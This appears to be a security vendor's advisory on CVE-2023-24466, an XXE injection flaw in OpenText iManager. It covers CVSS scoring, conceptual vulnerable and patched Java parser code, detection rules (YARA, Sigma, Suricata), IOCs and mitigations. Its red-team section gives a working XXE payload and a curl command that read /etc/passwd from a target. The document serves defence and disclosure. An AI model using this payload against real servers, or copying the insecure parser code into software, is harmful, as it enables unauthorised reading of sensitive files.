CVE-2023-24466

Executive Summary

CVE-2023-24466 is an XML External Entity (XXE) Injection vulnerability discovered in OpenText™ iManager version 3.2.6.0200. The flaw resides in a GET parameter of the iManager web interface, allowing an unauthenticated attacker to perform XXE attacks. Successful exploitation could lead to disclosure of sensitive files on the server, internal network scanning, or denial of service via entity expansion. The CVSS score is 7.5 (High), with a vector indicating network-based, low-complexity attacks requiring no privileges or user interaction. No public proof-of-concept or patch details are currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the ease of exploitation and potential for sensitive data exfiltration.

Deep Dive & Mechanics

The vulnerability is an XML External Entity (XXE) injection in the iManager web application. The application processes XML input from a GET parameter without proper sanitization or disabling of external entity resolution. An attacker can craft a malicious XML payload that references external entities, such as local files or internal network resources.

Mechanism:

1. The attacker sends a GET request to a vulnerable endpoint with a malicious XML payload in a parameter.
2. The server parses the XML and resolves external entities defined in the payload.
3. The attacker can read arbitrary files (e.g., /etc/passwd, configuration files) or perform SSRF attacks.

Example vulnerable parameter: ?xml=<foo>&xxe;</foo> where xxe is defined as <!ENTITY xxe SYSTEM "file:///etc/passwd">.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Default XML parser with external entities enabled
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(request.getParameter("xml"))));

Patched Code (Conceptual):

// Patched: Disable external entities
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(request.getParameter("xml"))));

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy OpenText iManager 3.2.6.0200 in a controlled environment.
2. Identify the vulnerable GET parameter (e.g., xml, data, input).
3. Craft a malicious XML payload.

Exploit Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Exploit Command (using curl):

curl "http://target/imanager?xml=<?xml%20version=%221.0%22?><!DOCTYPE%20foo%20[<!ENTITY%20xxe%20SYSTEM%20%22file:///etc/passwd%22>]><root>&xxe;</root>"

Expected Output: The server returns the contents of /etc/passwd in the response.

Blue Team

Detection:

• Monitor for GET requests containing XML DOCTYPE declarations or entity definitions.
• Look for outbound connections from the iManager server to unexpected internal or external hosts.
• Use WAF rules to block XML with external entities.

Mitigation:

• Apply vendor patch when available.
• Disable external entity processing in the XML parser.
• Validate and sanitize all XML input.

Indicators of Compromise (IOCs)

• Network: GET requests with <!DOCTYPE or <!ENTITY in parameters.
• File Access: Unauthorized reads of /etc/passwd, /etc/shadow, configuration files.
• Outbound Connections: Connections from iManager server to internal IPs (SSRF).
• Logs: XML parsing errors or warnings in application logs.

Detection Engineering

YARA Rule

rule CVE_2023_24466_XXE {
    meta:
        description = "Detects XXE payloads targeting OpenText iManager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-24466"
    strings:
        $xml_doctype = /<!DOCTYPE/i
        $xml_entity = /<!ENTITY/i
        $file_scheme = /SYSTEM\s+"file:\/\//i
        $http_scheme = /SYSTEM\s+"http:\/\//i
    condition:
        any of ($xml_doctype, $xml_entity) and any of ($file_scheme, $http_scheme)
}

Sigma Rule

title: CVE-2023-24466 XXE Attempt
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects XXE injection attempts in GET parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<!DOCTYPE'
            - '<!ENTITY'
    condition: selection
falsepositives:
    - Legitimate XML processing (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-24466 XXE Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"<!DOCTYPE"; http_uri; content:"<!ENTITY"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Patch: Apply the official patch from OpenText when available.
2. Workaround: Disable external entity processing in the XML parser configuration.
3. WAF: Deploy Web Application Firewall rules to block XXE payloads.
4. Input Validation: Reject any XML input containing DOCTYPE or ENTITY declarations.
5. Network Segmentation: Restrict outbound connections from the iManager server.
6. Monitoring: Enable logging and alerting for suspicious XML requests.

Valters IT signature